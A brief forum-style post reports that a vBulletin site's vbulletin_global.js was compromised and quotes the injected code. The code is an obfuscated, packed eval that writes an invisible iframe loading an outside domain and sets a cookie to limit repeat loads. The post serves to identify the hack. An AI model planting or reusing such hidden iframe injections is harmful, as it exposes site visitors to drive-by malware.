English??

In this file

http://al7zeen.com/vb/clientscript/vbulletin_global.js?v=383

the hack is this function

eval(function(p,a,c,k,e,d){e=function(c){return·c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return·d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new·RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return·p}('g·7=b·5(),4=b·5(7.k()+l);2(0.9.6("8=f")==-1){2(i.m.6("a")!=-1){3="3"}0.c("<"+3+"·d"+"h=1·e"+"j=1·w=\'h"+"n://y"+"z-v.u/p"+"/\'·o=\'q"+"r:t\'></2"+"s>");0.9="8=f;"+"·4="+4.x()+";·"}',36,36,'document||if|iframe|expires|Date|indexOf|today|_df|cookie||new|write|widt|heig||var||navigator|ht|getTime|2678400000|appCodeName|ttp|style|b2b|dis|play|rame|none|net|atm|src|toGMTString|loadi|ng'.split('|'),0,{}));